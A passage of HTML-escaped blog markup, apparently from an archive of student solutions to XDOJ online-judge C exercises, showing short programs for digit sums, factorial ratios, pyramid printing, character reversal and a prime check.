class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e11\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e fib(n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + fib(n - \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"65-数字处理\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#65-%E6%95%B0%E5%AD%97%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"65.数字处理\"\u003e\u003c/a\u003e65.数字处理\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num\u0026gt;=\u003cspan class=\"number\"\u003e10\u003c/span\u003e?num%\u003cspan class=\"number\"\u003e10\u003c/span\u003e+bit_sum(num/\u003cspan class=\"number\"\u003e10\u003c/span\u003e):num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(num\u0026gt;=\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e num=bit_sum(num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"66-阶乘计算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#66-%E9%98%B6%E4%B9%98%E8%AE%A1%E7%AE%97\" class=\"headerlink\" title=\"66.阶乘计算\"\u003e\u003c/a\u003e66.阶乘计算\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003emul\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(num\u0026gt;\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e*num * mul(num\u003cspan class=\"number\"\u003e-1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e m,n,tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e,\u0026amp;m,\u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(m\u0026lt;n)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tmp=m,m=n,n=tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e,mul(m)/mul(n)/mul(m-n));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"67-金字塔打印\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#67-%E9%87%91%E5%AD%97%E5%A1%94%E6%89%93%E5%8D%B0\" class=\"headerlink\" title=\"67.金字塔打印\"\u003e\u003c/a\u003e67.金字塔打印\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etow\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e ch,\u003cspan class=\"type\"\u003eint\u003c/span\u003e line)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;line;i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 1.print space */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e j=i;j\u0026lt;line\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 2.print char */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e k=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;k\u0026lt;\u003cspan class=\"number\"\u003e2\u003c/span\u003e*i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e;k++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(k%\u003cspan class=\"number\"\u003e2\u003c/span\u003e==\u003cspan class=\"number\"\u003e0\u003c/span\u003e?ch:\u003cspan class=\"string\"\u003e\u0026#39; \u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 3.start a new line */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(i!=line\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch,n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c %d\u0026#34;\u003c/span\u003e,\u0026amp;ch,\u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tow(ch,n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"68-字符逆序排放\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#68-%E5%AD%97%E7%AC%A6%E9%80%86%E5%BA%8F%E6%8E%92%E6%94%BE\" class=\"headerlink\" title=\"68.字符逆序排放\"\u003e\u003c/a\u003e68.字符逆序排放\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ch[\u003cspan class=\"number\"\u003e100\u003c/span\u003e],i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(ch[i]=getchar(),ch[i]!=EOF\u0026amp;\u0026amp;ch[i]!=\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(i--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"69-素数判断\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#69-%E7%B4%A0%E6%95%B0%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"69.素数判断\"\u003e\u003c/a\u003e69.素数判断\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_prime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e2\u003c/span\u003e;i\u0026lt;num;i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(num%i==\u003cspan class=\"number\"\u003e0\u003c/span\u003e\u0026amp;\u0026amp;num!=\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e 